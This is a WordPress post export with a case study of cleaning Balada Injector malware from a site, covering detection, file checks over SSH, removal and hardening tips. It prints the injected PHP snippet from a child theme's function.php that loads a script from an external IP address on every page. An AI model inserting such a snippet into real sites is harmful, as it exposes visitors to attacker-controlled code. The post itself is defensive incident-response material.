{"id":31354,"date":"2024-04-13T16:51:59","date_gmt":"2024-04-13T08:51:59","guid":{"rendered":"https:\/\/ke2b.com\/?p=31354"},"modified":"2024-04-13T17:40:19","modified_gmt":"2024-04-13T09:40:19","slug":"case-study-of-security-clearing-balada-injector-malware-on-a-wordpress-site","status":"publish","type":"post","link":"https:\/\/ke2b.com\/en\/case-study-of-security-clearing-balada-injector-malware-on-a-wordpress-site\/","title":{"rendered":"Case Study of Security: Clearing Balada Injector Malware on a WordPress Site"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\">Beginning<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Status: <\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>According to the pre-configured maintenance report for the website, daily scans for security vulnerabilities and website security status have detected malware.<\/li>\n\n\n\n<li>This has resulted in an additional external JS resource &#8220;<a target=\"_blank\" href=\"https:\/\/147.45.47.87\/scripts\/theme.js\" target=\"_blank\" rel=\"noopener noreferrer\" data-auto-blank=\"true\">https:\/\/147.45.47.87\/scripts\/theme.js<\/a>&#8221; being loaded, and connecting to StickyADS.tv Ad (ads.stickyadstv.com) on the front end.<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">Initiating investigation<\/h2>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Malware Details: <a target=\"_blank\" href=\"https:\/\/www.virustotal.com\/gui\/url\/93fb1c31607fce3a7c97fc9af3299e6aa9c4ae39d7ee36fe8e0a2807e29857bc\" target=\"_blank\" rel=\"noopener noreferrer\" data-auto-blank=\"true\">VirusTotal &#8211; URL<\/a>\n<ul class=\"wp-block-list\">\n<li>Related Security Information: <a target=\"_blank\" href=\"https:\/\/www.linkedin.com\/pulse\/watch-out-1-million-wordpress-sites-infected-balada-injector-moalosi\/\" target=\"_blank\" rel=\"noopener noreferrer\" data-auto-blank=\"true\">WATCH OUT! 1 Million+ WordPress Sites Infected with Balada Injector Malware | LinkedIn<\/a><\/li>\n\n\n\n<li>What&#8217;s Balada malware?<br>Balada Injector malware is a severe threat to WordPress site owners worldwide. It exploits themes and plugin vulnerabilities to breach site security, steal data, create fake admin accounts and maintain persistent access. WordPress sites with outdated plugins, nulled themes and plugins, and weak login credentials are most vulnerable to Balada Injector malware. via <a target=\"_blank\" href=\"https:\/\/www.linkedin.com\/pulse\/watch-out-1-million-wordpress-sites-infected-balada-injector-moalosi\/\" target=\"_blank\" rel=\"noopener noreferrer\" data-auto-blank=\"true\">WATCH OUT! 1 Million+ WordPress Sites Infected with Balada Injector Malware | LinkedIn<\/a><\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>After clarifying the issue, proceed with the following steps:<\/li>\n<\/ul>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Full backup first for sure.<\/li>\n\n\n\n<li>Use SSH command line to list files modified within one day before and after the date shown in the maintenance report.<\/li>\n\n\n\n<li>Prior identified the files with a modification date of April 3rd that remain unchanged after the site-wide update.<\/li>\n\n\n\n<li>Determine that within a child theme, typically not overwritten during updates, there exists an additional code snippet in the <code>function.php<\/code> file calling the external JS:<\/li>\n<\/ol>\n\n\n\n<pre class=\"wp-block-code\"><code>\/* Theme statistics function *\/\n\nfunction wptheme_stat() {\n\n?&gt;\n\n&lt;script async src=\"https:\/\/147.45.47.87\/scripts\/theme.js\"&gt;&lt;\/script&gt;\n\n&lt;?php } &amp;#x200B; add\\_action(\"wp\\_head\", \"wptheme\\_stat\");<\/code><\/pre>\n\n\n\n<ol class=\"wp-block-list\" start=\"5\">\n<li>Clean all caches and scan again until it appears as &#8220;Verified Clean&#8221; from every vendor.<\/li>\n<\/ol>\n\n\n\n<h2 class=\"wp-block-heading\">Suggestions &amp; Improvements<\/h2>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Backup your site regularly<\/li>\n\n\n\n<li>Keep themes and plugins updated<\/li>\n\n\n\n<li>Use trusted WordPress themes and plugins<\/li>\n\n\n\n<li>Use strong login passwords<\/li>\n\n\n\n<li>Enable 2FA for all users<\/li>\n\n\n\n<li>Implement a reliable malware scanner<\/li>\n<\/ol>\n\n\n\n<h2 class=\"wp-block-heading\">Reminds<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">In this case, I tried using several security plugins, including Wordfence, but none of them could identify the problem, let alone the affected files.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Sucuri is the only service provider that detected the issue, either through their online service or plugin. The results indicate that the Balada injector malware is not easy to detect and check. Well done, Sucuri!<\/p>\n","protected":false},"excerpt":{"rendered":"<p>A security scan detected malware, resulting in an unauthorized external JS loading on a website. This case study shares the investigation process and steps to remove a malicious code snippet found in the child theme&#8217;s function.php, affected by the Balada injector malware. While Sucuri successfully identified this issue, Wordfence was unable to detect it.<\/p>\n","protected":false},"author":1,"featured_media":31359,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"_seopress_titles_title":"","_seopress_titles_desc":"","_seopress_robots_index":"","_seopress_robots_follow":"","_seopress_robots_imageindex":"","_seopress_robots_snippet":"","_seopress_robots_primary_cat":"23","_seopress_robots_breadcrumbs":"","_seopress_robots_freeze_modified_date":"","_seopress_robots_custom_modified_date":"","_seopress_robots_canonical":"","_seopress_social_fb_title":"","_seopress_social_fb_desc":"","_seopress_social_fb_img":"","_seopress_social_fb_img_attachment_id":0,"_seopress_social_fb_img_width":0,"_seopress_social_fb_img_height":0,"_seopress_social_twitter_title":"","_seopress_social_twitter_desc":"","_seopress_social_twitter_img":"","_seopress_social_twitter_img_attachment_id":0,"_seopress_social_twitter_img_width":0,"_seopress_social_twitter_img_height":0,"_seopress_redirections_value":"","_seopress_redirections_enabled":"","_seopress_redirections_enabled_regex":"","_seopress_redirections_logged_status":"both","_seopress_redirections_param":"","_seopress_redirections_type":301,"_seopress_analysis_target_kw":"","_seopress_news_disabled":"","_seopress_video_disabled":"","_seopress_video":[],"_seopress_pro_schemas_manual":[],"_seopress_pro_rich_snippets_disable_all":"","_seopress_pro_rich_snippets_disable":[],"_seopress_pro_schemas":[],"_gspb_post_css":"","_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":true,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_feature_clip_id":0,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_post_was_ever_published":false},"categories":[23,20],"tags":[231,153],"class_list":["post-31354","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-maintenance","category-wordpress","tag-security","tag-test"],"blocksy_meta":[],"acf":[],"jetpack_featured_media_url":"https:\/\/i0.wp.com\/ke2b.com\/wp-content\/uploads\/2024\/04\/Clearing-Malware-on-a-WordPress-Site.jpg?fit=1024%2C576&quality=89&ssl=1","jetpack_likes_enabled":true,"jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/ke2b.com\/en\/wp-json\/wp\/v2\/posts\/31354","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ke2b.com\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/ke2b.com\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/ke2b.com\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/ke2b.com\/en\/wp-json\/wp\/v2\/comments?post=31354"}],"version-history":[{"count":0,"href":"https:\/\/ke2b.com\/en\/wp-json\/wp\/v2\/posts\/31354\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/ke2b.com\/en\/wp-json\/wp\/v2\/media\/31359"}],"wp:attachment":[{"href":"https:\/\/ke2b.com\/en\/wp-json\/wp\/v2\/media?parent=31354"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/ke2b.com\/en\/wp-json\/wp\/v2\/categories?post=31354"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/ke2b.com\/en\/wp-json\/wp\/v2\/tags?post=31354"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}